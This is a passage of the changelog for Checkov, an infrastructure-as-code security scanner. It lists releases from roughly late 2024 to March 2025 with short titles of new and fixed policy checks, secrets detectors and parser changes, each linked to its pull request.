[#7051](https://github.com/bridgecrewio/checkov/pull/7051)\n- **general:** Remove sneaky unicode characters that break a regex and console outputs on Windows - [#6987](https://github.com/bridgecrewio/checkov/pull/6987)\n- **terraform:** CKV_AWS_228 - support new AWS Opensearch TLS policy - [#7007](https://github.com/bridgecrewio/checkov/pull/7007)\n\n## [3.2.386](https://github.com/bridgecrewio/checkov/compare/3.2.385...3.2.386) - 2025-03-14\n\n- no noteworthy changes\n\n## [3.2.385](https://github.com/bridgecrewio/checkov/compare/3.2.384...3.2.385) - 2025-03-13\n\n### Bug Fix\n\n- **terraform:** Update all resources - [#7049](https://github.com/bridgecrewio/checkov/pull/7049)\n\n## [3.2.384](https://github.com/bridgecrewio/checkov/compare/3.2.383...3.2.384) - 2025-03-12\n\n### Bug Fix\n\n- **terraform:** Update CKV_ALI_1 - [#7040](https://github.com/bridgecrewio/checkov/pull/7040)\n\n## [3.2.383](https://github.com/bridgecrewio/checkov/compare/3.2.382...3.2.383) - 2025-03-11\n\n### Feature\n\n- **serverless:** add tags enrichment to serverless - [#7044](https://github.com/bridgecrewio/checkov/pull/7044)\n\n### Bug Fix\n\n- **sast:** Fix CKV_AWS_194 policy - [#7048](https://github.com/bridgecrewio/checkov/pull/7048)\n\n## [3.2.382](https://github.com/bridgecrewio/checkov/compare/3.2.381...3.2.382) - 2025-03-06\n\n### Feature\n\n- **secrets:** Bump detect-secrets to remove more lock files - [#7039](https://github.com/bridgecrewio/checkov/pull/7039)\n\n## [3.2.381](https://github.com/bridgecrewio/checkov/compare/3.2.379...3.2.381) - 2025-03-05\n\n### Bug Fix\n\n- **general:** prevent connected_node attribute from being overriden - [#7032](https://github.com/bridgecrewio/checkov/pull/7032)\n- **secrets:** ckv_secret_80 filtering fix - [#7037](https://github.com/bridgecrewio/checkov/pull/7037)\n\n## [3.2.379](https://github.com/bridgecrewio/checkov/compare/3.2.378...3.2.379) - 2025-03-03\n\n### Feature\n\n- **terraform:** Add azure DB checks for flexible server private endpoints - [#7030](https://github.com/bridgecrewio/checkov/pull/7030)\n\n## [3.2.378](https://github.com/bridgecrewio/checkov/compare/3.2.377...3.2.378) - 2025-02-27\n\n### Bug Fix\n\n- **secrets:** Remove CKV_SECRET_80 instead of CKV_SECRET_6 - [#7029](https://github.com/bridgecrewio/checkov/pull/7029)\n\n## [3.2.377](https://github.com/bridgecrewio/checkov/compare/3.2.373...3.2.377) - 2025-02-25\n\n### Feature\n\n- **terraform:** adding 3 policies & tests - [#7011](https://github.com/bridgecrewio/checkov/pull/7011)\n\n### Bug Fix\n\n- **cloudformation:** Handle subs in CKV_AWS_384 - [#7022](https://github.com/bridgecrewio/checkov/pull/7022)\n- **secrets:** Fix Duplicated Violation in line bug - [#7027](https://github.com/bridgecrewio/checkov/pull/7027)\n- **terraform:** Fixed CKV2_GCP_10 to exclude non http triggered cloud functions from security_level requirement - [#7008](https://github.com/bridgecrewio/checkov/pull/7008)\n- **terraform:** Handle new resource type for CKV_GCP_73 - [#7023](https://github.com/bridgecrewio/checkov/pull/7023)\n\n## [3.2.373](https://github.com/bridgecrewio/checkov/compare/3.2.372...3.2.373) - 2025-02-24\n\n### Bug Fix\n\n- **terraform:** CKV_GCP_74, CKV_GCP_76 incorrectly enforced for REGIONAL and GLOBAL managed proxy networks - [#7002](https://github.com/bridgecrewio/checkov/pull/7002)\n\n## [3.2.372](https://github.com/bridgecrewio/checkov/compare/3.2.370...3.2.372) - 2025-02-18\n\n### Feature\n\n- **terraform:** Add multiple checks - [#7016](https://github.com/bridgecrewio/checkov/pull/7016)\n\n### Bug Fix\n\n- **terraform:** Postgres latest stable version - [#7015](https://github.com/bridgecrewio/checkov/pull/7015)\n\n## [3.2.370](https://github.com/bridgecrewio/checkov/compare/3.2.369...3.2.370) - 2025-02-13\n\n### Bug Fix\n\n- **general:** Handle ECS enhanced container insights - [#7001](https://github.com/bridgecrewio/checkov/pull/7001)\n\n## [3.2.369](https://github.com/bridgecrewio/checkov/compare/3.2.368...3.2.369) - 2025-02-10\n\n### Bug Fix\n\n- **terraform:** Multiple check fixes - [#6999](https://github.com/bridgecrewio/checkov/pull/6999)\n\n## [3.2.368](https://github.com/bridgecrewio/checkov/compare/3.2.366...3.2.368) - 2025-02-06\n\n### Feature\n\n- **general:** fix proxy access from git and registry loader - [#6992](https://github.com/bridgecrewio/checkov/pull/6992)\n\n## [3.2.366](https://github.com/bridgecrewio/checkov/compare/3.2.364...3.2.366) - 2025-02-05\n\n### Bug Fix\n\n- **bicep:** Add bicep specific for CKV_AZURE_25 since ARM implementation fails - [#6996](https://github.com/bridgecrewio/checkov/pull/6996)\n- **terraform:** CKV_AZURE_249 & CKV_AWS_358 - better support for OIDC 'repo' detection regex and conditions order - [#6994](https://github.com/bridgecrewio/checkov/pull/6994)\n\n## [3.2.364](https://github.com/bridgecrewio/checkov/compare/3.2.362...3.2.364) - 2025-02-04\n\n### Bug Fix\n\n- **terraform:** CKV_AWS_339 - Add EKS platform version 1.32 to allowed lists of versions - [#6988](https://github.com/bridgecrewio/checkov/pull/6988)\n\n## [3.2.362](https://github.com/bridgecrewio/checkov/compare/3.2.358...3.2.362) - 2025-02-03\n\n### Bug Fix\n\n- **secrets:** Multiple matching groups are being caught as regex separated by | sign - [#6967](https://github.com/bridgecrewio/checkov/pull/6967)\n- **secrets:** Remove both random and base64 entropy secrets finding - [#6969](https://github.com/bridgecrewio/checkov/pull/6969)\n\n### Platform\n\n- **general:** Backfill more eval keys - [#6970](https://github.com/bridgecrewio/checkov/pull/6970)\n\n## [3.2.358](https://github.com/bridgecrewio/checkov/compare/3.2.357...3.2.358) - 2025-01-28\n\n### Feature\n\n- **general:** Add env var for policy metadata - [#6979](https://github.com/bridgecrewio/checkov/pull/6979)\n\n## [3.2.357](https://github.com/bridgecrewio/checkov/compare/3.2.355...3.2.357) - 2025-01-23\n\n### Feature\n\n- **general:** initial support for python 3.13 - [#6962](https://github.com/bridgecrewio/checkov/pull/6962)\n\n### Bug Fix\n\n- **terraform:** OIDC checks fixes - [#6964](https://github.com/bridgecrewio/checkov/pull/6964)\n\n## [3.2.355](https://github.com/bridgecrewio/checkov/compare/3.2.353...3.2.355) - 2025-01-22\n\n### Feature\n\n- **terraform:** Update CKV_AWS_358, add CKV_GCP_125 and CKV_AZURE_249 for OIDC claims analysis for GitHub - [#6960](https://github.com/bridgecrewio/checkov/pull/6960)\n\n### Bug Fix\n\n- **terraform:** Accept TLS 1.3 for Azure web apps and web app slots - [#6956](https://github.com/bridgecrewio/checkov/pull/6956)\n\n### Platform\n\n- **terraform:** Add eval keys - [#6929](https://github.com/bridgecrewio/checkov/pull/6929)\n\n## [3.2.353](https://github.com/bridgecrewio/checkov/compare/3.2.352...3.2.353) - 2025-01-15\n\n### Bug Fix\n\n- **general:** Support CVE suppressions with the root file in repo - [#6948](https://github.com/bridgecrewio/checkov/pull/6948)\n\n## [3.2.352](https://github.com/bridgecrewio/checkov/compare/3.2.351...3.2.352) - 2025-01-09\n\n### Feature\n\n- **terraform:** add option to add external_modules_content_cache to terraform build_graph - [#6942](https://github.com/bridgecrewio/checkov/pull/6942)\n\n## [3.2.351](https://github.com/bridgecrewio/checkov/compare/3.2.350...3.2.351) - 2025-01-08\n\n### Bug Fix\n\n- **terraform:** Skip tsconfig in terraform plan - [#6941](https://github.com/bridgecrewio/checkov/pull/6941)\n\n## [3.2.350](https://github.com/bridgecrewio/checkov/compare/3.2.347...3.2.350) - 2025-01-07\n\n### Feature\n\n- **terraform:** add CKV_AZURE_248 - Azure batch account network access restriction - [#6928](https://github.com/bridgecrewio/checkov/pull/6928)\n\n### Bug Fix\n\n- **terraform:** Revert feat(terraform): Add a terraform block check (#6904) - [#6937](https://github.com/bridgecrewio/checkov/pull/6937)\n\n## [3.2.347](https://github.com/bridgecrewio/checkov/compare/3.2.346...3.2.347) - 2025-01-06\n\n### Feature\n\n- **general:** Change behavior where if a config file is missing, run the scan as if there was no config file - [#6926](https://github.com/bridgecrewio/checkov/pull/6926)\n\n### Bug Fix\n\n- **terraform:** Fix for multiple checks - [#6933](https://github.com/bridgecrewio/checkov/pull/6933)\n\n## [3.2.346](https://github.com/bridgecrewio/checkov/compare/3.2.345...3.2.346) - 2025-01-01\n\n### Feature\n\n- **terraform:** add option to add proxy to request - [#6923](https://github.com/bridgecrewio/checkov/pull/6923)\n\n## [3.2.345](https://github.com/bridgecrewio/checkov/compare/3.2.344...3.2.345) - 2024-12-31\n\n### Feature\n\n- **cloudformation:** Add sensitive param check - [#6921](https://github.com/bridgecrewio/checkov/pull/6921)\n- **terraform:** add option to add proxy to request - [#6916](https://github.com/bridgecrewio/checkov/pull/6916)\n- **terraform:** check cognitive services restrict outbound network - [#6919](https://github.com/bridgecrewio/checkov/pull/6919)\n\n### Bug Fix\n\n- **terraform_json:** support CDKTF output in CKV_TF_3 - [#6918](https://github.com/bridgecrewio/checkov/pull/6918)\n\n## [3.2.344](https://github.com/bridgecrewio/checkov/compare/3.2.342...3.2.344) - 2024-12-21\n\n### Bug Fix\n\n- **kubernetes:** Add to nested resources on k8s graph inherit namespace - [#6912](https://github.com/bridgecrewio/checkov/pull/6912)\n\n## [3.2.342](https://github.com/bridgecrewio/checkov/compare/3.2.339...3.2.342) - 2024-12-18\n\n### Feature\n\n- **serverless:** serverless definitions context - [#6910](https://github.com/bridgecrewio/checkov/pull/6910)\n- **serverless:** Serverless graph integration - [#6911](https://github.com/bridgecrewio/checkov/pull/6911)\n- **terraform:** Add a terraform block check - [#6904](https://github.com/bridgecrewio/checkov/pull/6904)\n\n## [3.2.339](https://github.com/bridgecrewio/checkov/compare/3.2.336...3.2.339) - 2024-12-17\n\n### Bug Fix\n\n- **general:** Fix jsonpath-key handling for special characters like \"/\" and reduce log size - [#6907](https://github.com/bridgecrewio/checkov/pull/6907)\n- **serverless:** Fix serverless check crash - [#6909](https://github.com/bridgecrewio/checkov/pull/6909)\n\n## [3.2.336](https://github.com/bridgecrewio/checkov/compare/3.2.334...3.2.336) - 2024-12-16\n\n### Feature\n\n- **general:** add cortex:skip for suppressions - [#6908](https://github.com/bridgecrewio/checkov/pull/6908)\n\n### Bug Fix\n\n- **terraform:** fix CKV_AZURE_136 for replicas - [#6895](https://github.com/bridgecrewio/checkov/pull/6895)\n- **terraform:** Fix CKV_AZURE_227 for Azure V4 - [#6906](https://github.com/bridgecrewio/checkov/pull/6906)\n\n## [3.2.334](https://github.com/bridgecrewio/checkov/compare/3.2.332...3.2.334) - 2024-12-08\n\n### Feature\n\n- **serverless:** Serverless graph vertices - [#6894](https://github.com/bridgecrewio/checkov/pull/6894)\n\n### Bug Fix\n\n- **secrets:** fix indentation to remove duplications - [#6626](https://github.com/bridgecrewio/checkov/pull/6626)\n\n## [3.2.332](https://github.com/bridgecrewio/checkov/compare/3.2.328...3.2.332) - 2024-12-05\n\n### Feature\n\n- **terraform:** Add multi skip inline suppression - [#6860](https://github.com/bridgecrewio/checkov/pull/6860)\n- **terraform:** New bedrock check - [#6892](https://github.com/bridgecrewio/checkov/pull/6892)\n\n### Bug Fix\n\n- **kubernetes:** fix json file parsing - [#6891](https://github.com/bridgecrewio/checkov/pull/6891)\n- **terraform:** Fix CKV2_AZURE_31 - [#6893](https://github.com/bridgecrewio/checkov/pull/6893)\n\n## [3.2.328](https://github.com/bridgecrewio/checkov/compare/3.2.327...3.2.328) - 2024-12-04\n\n### Feature\n\n- **serverless:** Serverless refactor for graph implementation - [#6885](https://github.com/bridgecrewio/checkov/pull/6885)\n\n### Documentation\n\n- **general:** docs flags update - [#6888](https://github.com/bridgecrewio/checkov/pull/6888)\n\n## [3.2.327](https://github.com/bridgecrewio/checkov/compare/3.2.326...3.2.327) - 2024-12-03\n\n### Bug Fix\n\n- **terraform:** Convert to graph check - [#6875](https://github.com/bridgecrewio/checkov/pull/6875)\n\n## [3.2.326](https://github.com/bridgecrewio/checkov/compare/3.2.324...3.2.326) - 2024-12-02\n\n### Feature\n\n- **general:** add new CIDR operator - [#6877](https://github.com/bridgecrewio/checkov/pull/6877)\n\n### Bug Fix\n\n- **arm:** Fix resource ID generation to use variables - [#6884](https://github.com/bridgecrewio/checkov/pull/6884)\n\n## [3.2.324](https://github.com/bridgecrewio/checkov/compare/3.2.322...3.2.324) - 2024-12-01\n\n### Bug Fix\n\n- **terraform_plan:** run post_runner after get_enriched_resources for terraform_plan - [#6883](https://github.com/bridgecrewio/checkov/pull/6883)\n\n## [3.2.322](https://github.com/bridgecrewio/checkov/compare/3.2.320...3.2.322) - 2024-11-28\n\n### Feature\n\n- **general:** Update range includes to handle range values - [#6867](https://github.com/bridgecrewio/checkov/pull/6867)\n\n### Bug Fix\n\n- **general:** fix_memory error with adding new env - [#6879](https://github.com/bridgecrewio/checkov/pull/6879)\n- **general:** revert comment out ARM test - [#6882](https://github.com/bridgecrewio/checkov/pull/6882)\n\n## [3.2.320](https://github.com/bridgecrewio/checkov/compare/3.2.317...3.2.320) - 2024-11-27\n\n### Feature\n\n- **terraform:** Add new checks to match run checks - [#6868](https://github.com/bridgecrewio/checkov/pull/6868)\n\n### Bug Fix\n\n- **arm:** Fix arm root folder - [#6880](https://github.com/bridgecrewio/checkov/pull/6880)\n- **terraform:** Update CKV_AZURE_164 to correct check on trust policy - [#6757](https://github.com/bridgecrewio/checkov/pull/6757)\n\n## [3.2.317](https://github.com/bridgecrewio/checkov/compare/3.2.314...3.2.317) - 2024-11-26\n\n### Feature\n\n- **terraform:** support resource_type attribute - [#6872](https://github.com/bridgecrewio/checkov/pull/6872)\n\n### Bug Fix\n\n- **arm:** Fix arm report resource naming - [#6876](https://github.com/bridgecrewio/checkov/pull/6876)\n- **terraform:** Fix two checks and logs - [#6874](https://github.com/bridgecrewio/checkov/pull/6874)\n\n## [3.2.314](https://github.com/bridgecrewio/checkov/compare/3.2.312...3.2.314) - 2024-11-25\n\n### Feature\n\n- **general:** add logs for suppression - [#6873](https://github.com/bridgecrewio/checkov/pull/6873)\n\n### Bug Fix\n\n- **arm:** Fix arm resource naming on integration with Prisma - [#6870](https://github.com/bridgecrewio/checkov/pull/6870)\n\n## [3.2.312](https://github.com/bridgecrewio/checkov/compare/3.2.311...3.2.312) - 2024-11-24\n\n### Bug Fix\n\n- **arm:** Fix arm graph breadcrumbs - [#6869](https://github.com/bridgecrewio/checkov/pull/6869)\n\n## [3.2.311](https://github.com/bridgecrewio/checkov/compare/3.2.307...3.2.311) - 2024-11-21\n\n### Bug Fix\n\n- **cloudformation:** Fixed issue where Ref was not rendered correctly if the parameter name was identical to the default value - [#6856](https://github.com/bridgecrewio/checkov/pull/6856)\n- **secrets:** fix find line - [#6864](https://github.com/bridgecrewio/checkov/pull/6864)\n- **secrets:** masking test format - [#6859](https://github.com/bridgecrewio/checkov/pull/6859)\n- **secrets:** multiline matches show the secret and not the first line - [#6854](https://github.com/bridgecrewio/checkov/pull/6854)\n\n## [3.2.307](https://github.com/bridgecrewio/checkov/compare/3.2.305...3.2.307) - 2024-11-20\n\n### Bug Fix\n\n- **arm:** Change ARM graph creation log lvl to debug - [#6857](https://github.com/bridgecrewio/checkov/pull/6857)\n\n## [3.2.305](https://github.com/bridgecrewio/checkov/compare/3.2.301...3.2.305) - 2024-11-19\n\n### Feature\n\n- **sca:** support java full dependency tree scan - [#6834](https://github.com/bridgecrewio/checkov/pull/6834)\n- **terraform:** Add check - ensure AWS CodeGuru resource contains CMK - [#6851](https://github.com/bridgecrewio/checkov/pull/6851)\n\n### Bug Fix\n\n- **general:** Used jsonpath to update vertex attributes - [#6852](https://github.com/bridgecrewio/checkov/pull/6852)\n- **terraform:**  Update EKS supported versions - [#6826](https://github.com/bridgecrewio/checkov/pull/6826)\n- **terraform:** Update CKV_AZURE_171 to check automatic_upgrade_channel - [#6756](https://github.com/bridgecrewio/checkov/pull/6756)\n\n## [3.2.301](https://github.com/bridgecrewio/checkov/compare/3.2.300...3.2.301) - 2024-11-18\n\n### Bug Fix\n\n- **secrets:** skip empty match - [#6849](https://github.com/bridgecrewio/checkov/pull/6849)\n\n## [3.2.300](https://github.com/bridgecrewio/checkov/compare/3.2.296...3.2.300) - 2024-11-17\n\n### Feature\n\n- **azure:** add new policies for Azure Synapse arm - [#6553](https://github.com/bridgecrewio/checkov/pull/6553)\n- **helm:** Made helm + kustomize use the Kubernetes graph registry - [#6847](https://github.com/bridgecrewio/checkov/pull/6847)\n- **secrets:** Adding check_id to EnrichedSecret class - [#6842](https://github.com/bridgecrewio/checkov/pull/6842)\n- **secrets:** Masking secrets files - [#6848](https://github.com/bridgecrewio/checkov/pull/6848)\n\n### Bug Fix\n\n- **secrets:** add prerun support for singleline - [#6846](https://github.com/bridgecrewio/checkov/pull/6846)\n- **terraform:** Update CKV_AZURE_167 to correct check on retention policy - [#6758](https://github.com/bridgecrewio/checkov/pull/6758)\n\n## [3.2.296](https://github.com/bridgecrewio/checkov/compare/3.2.293...3.2.296) - 2024-11-14\n\n### Feature\n\n- **cloudformation:** Support Fn::Sub in cases of using a pseudo parameter - [#6835](https://github.com/bridgecrewio/checkov/pull/6835)\n- **terraform:** support resource_type attribute - revert - [#6843](https://github.com/bridgecrewio/checkov/pull/6843)\n\n### Bug Fix\n\n- **terraform:** CKV_GCP_32 (GoogleComputeBlockProjectSSH) Add other common enabling values - [#6663](https://github.com/bridgecrewio/checkov/pull/6663)\n\n## [3.2.293](https://github.com/bridgecrewio/checkov/compare/3.2.291...3.2.293) - 2024-11-13\n\n### Feature\n\n- **terraform:** support resource_type attribute - [#6830](https://github.com/bridgecrewio/checkov/pull/6830)\n\n### Bug Fix\n\n- **general:** fixed mypy issue - [#6838](https://github.com/bridgecrewio/checkov/pull/6838)\n\n## [3.2.291](https://github.com/bridgecrewio/checkov/compare/3.2.287...3.2.291) - 2024-11-12\n\n### Feature\n\n- **general:** remove specific botocore version - [#6796](https://github.com/bridgecrewio/checkov/pull/6796)\n\n### Bug Fix\n\n- **arm:** fix ARM graph block types - [#6824](https://github.com/bridgecrewio/checkov/pull/6824)\n- **dockerfile:** Handle heredoc - [#6828](https://github.com/bridgecrewio/checkov/pull/6828)\n- **sast:** filter unsupported policies - [#6833](https://github.com/bridgecrewio/checkov/pull/6833)\n\n## [3.2.287](https://github.com/bridgecrewio/checkov/compare/3.2.286...3.2.287) - 2024-11-11\n\n### Bug Fix\n\n- **graph:** fix internal checks loading when adding custom policies in cli - [#6819](https://github.com/bridgecrewio/checkov/pull/6819)\n\n## [3.2.286](https://github.com/bridgecrewio/checkov/compare/3.2.282...3.2.286) - 2024-11-10\n\n### Feature\n\n- **secrets:** Add npm detector - [#6821](https://github.com/bridgecrewio/checkov/pull/6821)\n\n### Bug Fix\n\n- **secrets:** fix empty diff scan - [#6822](https://github.com/bridgecrewio/checkov/pull/6822)\n\n## [3.2.282](https://github.com/bridgecrewio/checkov/compare/3.2.281...3.2.282) - 2024-11-07\n\n### Bug Fix\n\n- **arm:** finish variable rendering and use definitions context - [#6814](https://github.com/bridgecrewio/checkov/pull/6814)\n\n## [3.2.281](https://github.com/bridgecrewio/checkov/compare/3.2.280...3.2.281) - 2024-11-06\n\n### Documentation\n\n- **general:** Update Python versions and add env vars to the docs - [#6812](https://github.com/bridgecrewio/checkov/pull/6812)\n\n## [3.2.280](https://github.com/bridgecrewio/checkov/compare/3.2.278...3.2.280) - 2024-11-05\n\n### Bug Fix\n\n- **arm:** add middleware function for platform integration for Arm definitions - [#6811](https://github.com/bridgecrewio/checkov/pull/6811)\n- **secrets:** Update CKV_SECRET_4 to duplication list GENERIC_PRIVATE_KEY - [#6810](https://github.com/bridgecrewio/checkov/pull/6810)\n- **terraform:** Add opensearch to CKV2_AWS_5 - [#6807](https://github.com/bridgecrewio/checkov/pull/6807)\n\n## [3.2.278](https://github.com/bridgecrewio/checkov/compare/3.2.277...3.2.278) - 2024-11-04\n\n### Bug Fix\n\n- **arm:** Align arm definitions function arguments - [#6808](https://github.com/bridgecrewio/checkov/pull/6808)\n\n## [3.2.277](https://github.com/bridgecrewio/checkov/compare/3.2.276...3.2.277) - 2024-11-03\n\n### Bug Fix\n\n- **secrets:** add detector for IbmCosHmac - [#6790](https://github.com/bridgecrewio/checkov/pull/6790)\n\n## [3.2.276](https://github.com/bridgecrewio/checkov/compare/3.2.275...3.2.276) - 2024-10-31\n\n### Bug Fix\n\n- **terraform:** Fix possible exception when for_each data has boolean values - [#6733](https://github.com/bridgecrewio/checkov/pull/6733)\n\n## [3.2.275](https://github.com/bridgecrewio/checkov/compare/3.2.271...3.2.275) - 2024-10-30\n\n### Feature\n\n- **arm:** Add arm definition context - [#6801](https://github.com/bridgecrewio/checkov/pull/6801)\n\n### Bug Fix\n\n- **cloudformation:** change parse log level - [#6794](https://github.com/bridgecrewio/checkov/pull/6794)\n- **general:** pipenv==2024.0.3 - [#6803](https://github.com/bridgecrewio/checkov/pull/6803)\n- **secrets:** omit all secrets value in line - [#6802](https://github.com/bridgecrewio/checkov/pull/6802)\n- **terraform:** Security group attached to aws_mskconnect_connector is not recognized - [#6780](https://github.com/bridgecrewio/checkov/pull/6780)\n\n## [3.2.271](https://github.com/bridgecrewio/checkov/compare/3.2.270...3.2.271) - 2024-10-29\n\n### Feature\n\n- **sca:** add enableDotnetCpm env var to sca scan request  - [#6786](https://github.com/bridgecrewio/checkov/pull/6786)\n\n## [3.2.270](https://github.com/bridgecrewio/checkov/compare/3.2.269...3.2.270) - 2024-10-28\n\n### Feature\n\n- **arm:** add variable and parameters edges and rendering - [#6787](https://github.com/bridgecrewio/checkov/pull/6787)\n- **arm:** arm custom policy support - [#6769](https://github.com/bridgecrewio/checkov/pull/6769)\n\n## [3.2.269](https://github.com/bridgecrewio/checkov/compare/3.2.268...3.2.269) - 2024-10-23\n\n### Bug Fix\n\n- **terraform:** Fix crash when version isn't a float - [#6783](https://github.com/bridgecrewio/checkov/pull/6783)\n\n## [3.2.268](https://github.com/bridgecrewio/checkov/compare/3.2.267...3.2.268) - 2024-10-20\n\n### Feature\n\n- **terraform_plan:** Support after_unknown evaluation of complex attributes - [#6784](https://github.com/bridgecrewio/checkov/pull/6784)\n\n## [3.2.267](https://github.com/bridgecrewio/checkov/compare/3.2.266...3.2.267) - 2024-10-16\n\n- no noteworthy changes\n\n## [3.2.266](https://github.com/bridgecrewio/checkov/compare/3.2.262...3.2.266) - 2024-10-15\n\n### Feature\n\n- **arm:** unsupported module soft fail - [#6775](https://github.com/bridgecrewio/checkov/pull/6775)\n\n## [3.2.262](https://github.com/bridgecrewio/checkov/compare/3.2.258...3.2.262) - 2024-10-14\n\n### Feature\n\n- **terraform:** 2 new checks - [#6764](https://github.com/bridgecrewio/checkov/pull/6764)\n- **terraform:** Add s3 data transport check - [#6763](https://github.com/bridgecrewio/checkov/pull/6763)\n\n### Bug Fix\n\n- **helm:** Remove helm target dir after scanning - [#6767](https://github.com/bridgecrewio/checkov/pull/6767)\n- **kubernetes:** Handle non-sting params in command - [#6768](https://github.com/bridgecrewio/checkov/pull/6768)\n\n## [3.2.258](https://github.com/bridgecrewio/checkov/compare/3.2.257...3.2.258) - 2024-10-13\n\n### Bug Fix\n\n- **terraform:** Set timeout for parsing Terraform files with hcl2. - [#6759](https://github.com/bridgecrewio/checkov/pull/6759)\n\n## [3.2.257](https://github.com/bridgecrewio/checkov/compare/3.2.256...3.2.257) - 2024-10-06\n\n### Bug Fix\n\n- **ansible:** handle empty tasks - [#6751](https://github.com/bridgecrewio/checkov/pull/6751)\n\n## [3.2.256](https://github.com/bridgecrewio/checkov/compare/3.2.254...3.2.256) - 2024-10-01\n\n### Feature\n\n- **terraform:** New checks - [#6720](https://github.com/bridgecrewio/checkov/pull/6720)\n\n### Bug Fix\n\n- **general:** Fix operator docs - [#6735](https://github.com/bridgecrewio/checkov/pull/6735)\n- **sca:** add Pipfile and Pipfile.lock to supported package files list - [#6746](https://github.com/bridgecrewio/checkov/pull/6746)\n- **terraform:** extend CKV2_AWS_5 to include DMS Serverless (#6628) - [#6630](https://github.com/bridgecrewio/checkov/pull/6630)\n- **terraform:** Remove dataproc.admin from multiple checks - [#6725](https://github.com/bridgecrewio/checkov/pull/6725)\n- **terraform:** Security group attached to an Elastic DocumentDB cluster is not recognized by check CKV2_AWS_5 - [#6687](https://github.com/bridgecrewio/checkov/pull/6687)\n\n### Documentation\n\n- **general:** update README.md - [#6719](https://github.com/bridgecrewio/checkov/pull/6719)\n\n## [3.2.254](https://github.com/bridgecrewio/checkov/compare/3.2.253...3.2.254) - 2024-09-15\n\n### Bug Fix\n\n- **terraform:** Added ssl_mode attribute support to CKV_GCP_6 - [#6703](https://github.com/bridgecrewio/checkov/pull/6703)\n\n## [3.2.253](https://github.com/bridgecrewio/checkov/compare/3.2.251...3.2.253) - 2024-09-12\n\n### Feature\n\n- **general:** allow tool name field to be customised using cli arguments  - [#6692](https://github.com/bridgecrewio/checkov/pull/6692)\n- **secrets:** Change log level - [#6716](https://github.com/bridgecrewio/checkov/pull/6716)\n- **terraform:** Add check for local user in storage - [#6715](https://github.com/bridgecrewio/checkov/pull/6715)\n\n### Bug Fix\n\n- **terraform:** Update CKV_AZURE_228 for automatic calculation - [#6714](https://github.com/bridgecrewio/checkov/pull/6714)\n\n## [3.2.251](https://github.com/bridgecrewio/checkov/compare/3.2.250...3.2.251) - 2024-09-11\n\n### Feature\n\n- **general:** add severity metadata to custom policy - [#6579](https://github.com/bridgecrewio/checkov/pull/6579)\n\n## [3.2.250](https://github.com/bridgecrewio/checkov/compare/3.2.249...3.2.250) - 2024-09-10\n\n### Bug Fix\n\n- **secrets:** fix suppressions and duplications - [#6710](https://github.com/bridgecrewio/checkov/pull/6710)\n\n## [3.2.249](https://github.com/bridgecrewio/checkov/compare/3.2.246...3.2.249) - 2024-09-08\n\n### Feature\n\n- **general:** revert packages read permissions - [#6706](https://github.com/bridgecrewio/checkov/pull/6706)\n- **terraform_plan:** remove secret - [#6705](https://github.com/bridgecrewio/checkov/pull/6705)\n\n### Bug Fix\n\n- **secrets:** fix suppression and duplication - [#6701](https://github.com/bridgecrewio/checkov/pull/6701)\n- **secrets:** Revert suppression and duplication - [#6708](https://github.com/bridgecrewio/checkov/pull/6708)\n- **terraform:** Fix foreach multi attributes in field - [#6707](https://github.com/bridgecrewio/checkov/pull/6707)\n\n## [3.2.246](https://github.com/bridgecrewio/checkov/compare/3.2.245...3.2.246) - 2024-09-05\n\n### Feature\n\n- **sast:** add log level when running sast in windows - [#6704](https://github.com/bridgecrewio/checkov/pull/6704)\n\n## [3.2.245](https://github.com/bridgecrewio/checkov/compare/3.2.242...3.2.245) - 2024-09-04\n\n### Feature\n\n- **kubernetes:** Add policy for git-sync code injection - [#6694](https://github.com/bridgecrewio/checkov/pull/6694)\n- **terraform_plan:** add support for provider in tf_plan framework - [#6690](https://github.com/bridgecrewio/checkov/pull/6690)\n\n## [3.2.242](https://github.com/bridgecrewio/checkov/compare/3.2.241...3.2.242) - 2024-09-02\n\n### Feature\n\n- **general:** add support for windows 10 for aiohttp - [#6696](https://github.com/bridgecrewio/checkov/pull/6696)\n\n## [3.2.241](https://github.com/bridgecrewio/checkov/compare/3.2.239...3.2.241) - 2024-09-01\n\n### Feature\n\n- **sast:** remove the env var for Go - [#6697](https://github.com/bridgecrewio/checkov/pull/6697)\n\n### Bug Fix\n\n- **secrets:** add edge case for policy that looks like uuid - [#6698](https://github.com/bridgecrewio/checkov/pull/6698)\n\n## [3.2.239](https://github.com/bridgecrewio/checkov/compare/3.2.238...3.2.239) - 2024-08-29\n\n### Feature\n\n- **general:** Add multiple checks to match runtime checks - [#6680](https://github.com/bridgecrewio/checkov/pull/6680)\n\n## [3.2.238](https://github.com/bridgecrewio/checkov/compare/3.2.236...3.2.238) - 2024-08-27\n\n### Feature\n\n- **terraform:** add support for TF cloudsplaining evaluated_keys - [#6677](https://github.com/bridgecrewio/checkov/pull/6677)\n\n### Bug Fix\n\n- **secrets:** change logs form info to debug - [#6685](https://github.com/bridgecrewio/checkov/pull/6685)\n\n## [3.2.236](https://github.com/bridgecrewio/checkov/compare/3.2.235...3.2.236) - 2024-08-26\n\n- no noteworthy changes\n\n## [3.2.235](https://github.com/bridgecrewio/checkov/compare/3.2.234...3.2.235) - 2024-08-21\n\n### Feature\n\n- **cloudformation:** SAM Globals support with CloudFormation - [#6657](https://github.com/bridgecrewio/checkov/pull/6657)\n\n## [3.2.234](https://github.com/bridgecrewio/checkov/compare/3.2.232...3.2.234) - 2024-08-20\n\n### Feature\n\n- **sast:** Adding support for sast in windows - [#6638](https://github.com/bridgecrewio/checkov/pull/6638)\n\n### Bug Fix\n\n- **secrets:** revert duplications suppressions for secrets - [#6674](https://github.com/bridgecrewio/checkov/pull/6674)\n\n## [3.2.232](https://github.com/bridgecrewio/checkov/compare/3.2.230...3.2.232) - 2024-08-19\n\n### Bug Fix\n\n- **general:** add try except to loads file - [#6668](https://github.com/bridgecrewio/checkov/pull/6668)\n- **secrets:** duplications suppressions for secrets - [#6665](https://github.com/bridgecrewio/checkov/pull/6665)\n\n## [3.2.230](https://github.com/bridgecrewio/checkov/compare/3.2.228...3.2.230) - 2024-08-18\n\n### Feature\n\n- **general:** Support multiple frameworks in custom policy - [#6666](https://github.com/bridgecrewio/checkov/pull/6666)\n\n### Bug Fix\n\n- **general:** revert support multiple frameworks in one custom policy - [#6664](https://github.com/bridgecrewio/checkov/pull/6664)\n\n## [3.2.228](https://github.com/bridgecrewio/checkov/compare/3.2.223...3.2.228) - 2024-08-15\n\n### Feature\n\n- **terraform:** Add build policy to match run policy for API Method without Auth or API - [#6637](https://github.com/bridgecrewio/checkov/pull/6637)\n\n### Bug Fix\n\n- **secrets:** remove dups logic - 